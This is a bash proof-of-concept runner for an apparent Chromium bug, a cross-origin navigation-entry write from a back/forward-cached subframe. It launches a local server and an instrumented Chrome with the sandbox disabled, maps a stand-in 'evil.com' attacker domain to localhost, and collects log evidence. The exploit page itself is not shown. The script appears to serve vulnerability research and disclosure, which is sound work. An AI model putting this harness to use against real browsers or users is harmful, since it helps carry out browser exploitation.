#!/bin/bash
# POC runner: starts the HTTP server, launches the patched Chrome, and
# captures browser/renderer stderr proving the cross-origin NavigationEntry
# write from a BFCached subframe.
set -u

ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile
LOG="$ARTIFACTS_DIR/poc-output.log"

rm -rf "$PROFILE"
rm -f "$LOG"

# Start HTTP server.
python3 "$ARTIFACTS_DIR/server.py" >>"$LOG" 2>&1 &
SERVER_PID=$!
sleep 1

# Launch Chrome.
#  --host-resolver-rules: map evil.com / victim.com to the local server so we
#    get two distinct sites (and therefore distinct renderer processes) without
#    DNS.
#  --site-per-process: default on desktop, set explicitly for clarity.
#  --enable-logging=stderr --v=0: surface LOG(ERROR) on stderr.
#  --disable-features=Prerender2,SidePanelPinning: trim noise unrelated to the
#    bug; BFCache itself remains at its production default (enabled).
timeout -s KILL 15 "$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --user-data-dir="$PROFILE" \
  --site-per-process \
  --host-resolver-rules='MAP evil.com 127.0.0.1,MAP victim.com 127.0.0.1' \
  --enable-logging=stderr --v=0 \
  --disable-features=Prerender2,SidePanelPinning \
  'http://evil.com:8000/evil.html' \
  >>"$LOG" 2>&1
CHROME_RC=$?

kill -9 "$SERVER_PID" 2>/dev/null
wait "$SERVER_PID" 2>/dev/null

echo
echo '================ POC-relevant log lines ================'
grep -E '\[POC-|persisted=' "$LOG" || true
echo '========================================================'
echo "Full log: $LOG"
exit 0